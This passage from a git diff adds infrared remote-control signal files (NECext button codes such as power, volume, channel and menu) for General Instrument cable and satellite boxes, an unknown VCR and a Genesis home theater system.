+command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: POWER_ON/OFF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CHANNEL+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: LAST_CHANNEL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: LOCKOUT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: DAY_> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: DAY< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: PAGE_DN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir new file mode 100644 index 000000000..c022259bf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir new file mode 100644 index 000000000..43332bcaf --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1A 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1B 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 7A 00 00 00 +command: 1C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir new file mode 100644 index 000000000..8336643c7 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 90 00 00 00 +command: 3D 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir new file mode 100644 index 000000000..f25518c32 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir new file mode 100644 index 000000000..b133144a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir new file mode 100644 index 000000000..1930263e0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: +type: parsed +protocol: NECext +address: 57 00 00 00 +command: 02 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir new file mode 100644 index 000000000..1c93e913d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: SAT_VOL_^ +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: SAT_VOL_V +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: SAT_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir new file mode 100644 index 000000000..f00480632 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir @@ -0,0 +1,326 @@ +Filetype: IR signals file +Version: 1 +# +name: POWER +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 01 00 00 00 +# +name: SAT/TV +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 02 00 00 00 +# +name: M +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 03 00 00 00 +# +name: TI +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 04 00 00 00 +# +name: HELP +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 05 00 00 00 +# +name: AUX +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 06 00 00 00 +# +name: VOL_^ +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 07 00 00 00 +# +name: VOLUME_^ +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 07 00 00 00 +# +name: MESG +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 08 00 00 00 +# +name: TEXT +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 09 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 0A 00 00 00 +# +name: SET_UP +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 0C 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 0D 00 00 00 +# +name: VIEW +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 0E 00 00 00 +# +name: VOL_V +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 0F 00 00 00 +# +name: VOLUME_V +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 0F 00 00 00 +# +name: 2_(T) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 10 00 00 00 +# +name: 2_T +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 10 00 00 00 +# +name: 1_(G) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 11 00 00 00 +# +name: 1_G +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 11 00 00 00 +# +name: 3_(F) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 12 00 00 00 +# +name: 3_F +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 12 00 00 00 +# +name: CH_^ +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 13 00 00 00 +# +name: CHANNEL_^ +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 13 00 00 00 +# +name: 5_(W) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 14 00 00 00 +# +name: 5_W +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 14 00 00 00 +# +name: 4_(A) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 15 00 00 00 +# +name: 4_A +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 15 00 00 00 +# +name: 6_(C) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 16 00 00 00 +# +name: 6_C +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 16 00 00 00 +# +name: 8_(R) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 18 00 00 00 +# +name: 8_R +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 18 00 00 00 +# +name: 7_(S) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 19 00 00 00 +# +name: 7_S +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 19 00 00 00 +# +name: 9_(K) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 1A 00 00 00 +# +name: 9_K +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 1A 00 00 00 +# +name: CH_V +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 1B 00 00 00 +# +name: CHANNEL_V +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 1B 00 00 00 +# +name: 0_(B) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 1C 00 00 00 +# +name: 0_B +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 1C 00 00 00 +# +name: SAT +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 1D 00 00 00 +# +name: FAV +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 1E 00 00 00 +# +name: ENTR +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 40 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 40 00 00 00 +# +name: ^_(UP) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 44 00 00 00 +# +name: UP_^ +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 44 00 00 00 +# +name: <_(LEFT) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 48 00 00 00 +# +name: LEFT_< +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 48 00 00 00 +# +name: V_(DOWN) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 4C 00 00 00 +# +name: DOWN_V +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 4C 00 00 00 +# +name: >_(RIGHT) +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 50 00 00 00 +# +name: RIGHT_> +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 50 00 00 00 +# +name: LAST +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 54 00 00 00 +# +name: CNCL +type: parsed +protocol: NECext +address: 82 6E 00 00 +command: 58 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir new file mode 100644 index 000000000..25a6dbff0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir @@ -0,0 +1,164 @@ +Filetype: IR signals file +Version: 1 +# +name: tcp +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 00 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 01 00 00 00 +# +name: a/b +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 03 00 00 00 +# +name: KEY_F +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 04 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 05 00 00 00 +# +name: last_ch +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 06 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 07 00 00 00 +# +name: pcontrol_learn +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 08 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 09 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0B 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0C 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0D 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 0F 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 10 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 11 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 12 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 13 00 00 00 +# +name: KEY_FAVORITES +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 14 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 15 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 17 00 00 00 +# +name: KEY_SELECT +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 18 00 00 00 +# +name: pcontrol +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 19 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1A 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1B 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1C 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1D 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 01 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir new file mode 100644 index 000000000..a7e65228b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir @@ -0,0 +1,506 @@ +Filetype: IR signals file +Version: 1 +# +name: CBL_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: CBL_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: CBL_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: CBL_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: CBL_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: CBL_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: CBL_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: CBL_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: CBL_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: CBL_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: CBL_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: CBL_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: CBL_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: CBL_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: CBL_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: CBL_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: CBL_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: CBL_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: CBL_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: CBL_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: CBL_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CBL_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: CBL_CHAN+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CBL_CHAN+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CBL_CHAN- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CBL_CHAN- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CBL_VOL+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: CBL_VOL+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: CBL_VOL- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CBL_VOL- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: CBL_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: CBL_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: CBL_MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CBL_MUSIC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: CBL_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: CBL_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: CBL_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: CBL_LAST +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 13 00 00 00 +# +name: CBL_BYPASS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: CBL_BYPASS +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: CBL_FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: CBL_FAV +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: CBL_LOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: CBL_LOCK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: CBL_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: CBL_A +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: CBL_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: CBL_MENU +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: CBL_FF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: CBL_FF +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: CBL_REW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CBL_REW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: CBL_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: CBL_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: CBL_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: CBL_B +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 27 00 00 00 +# +name: CBL_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: CBL_C +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 28 00 00 00 +# +name: CBL_GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: CBL_GUIDE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 30 00 00 00 +# +name: CBL_REC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: CBL_REC +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 31 00 00 00 +# +name: CBL_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: CBL_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: CBL_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: CBL_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 33 00 00 00 +# +name: CBL_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CBL_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CBL_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CBL_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CBL_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CBL_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CBL_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: CBL_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: CBL_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: CBL_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: CBL_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: CBL_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 39 00 00 00 +# +name: CBL_PAGE+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: CBL_PAGE+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3A 00 00 00 +# +name: CBL_PAGE- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: CBL_PAGE- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir b/assets/resources/infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir new file mode 100644 index 000000000..5a28d74fc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir @@ -0,0 +1,56 @@ +Filetype: IR signals file +Version: 1 +# +name: pause/still +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 11 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 12 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 14 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 16 00 00 00 +# +name: ch_dwn +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 17 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 18 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 19 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 1A 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: 16 00 00 00 +command: 1B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir new file mode 100644 index 000000000..c508cbefb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir @@ -0,0 +1,278 @@ +Filetype: IR signals file +Version: 1 +# +name: BASS- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: MP3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: BASS+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: SW- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: CEN- +type: parsed 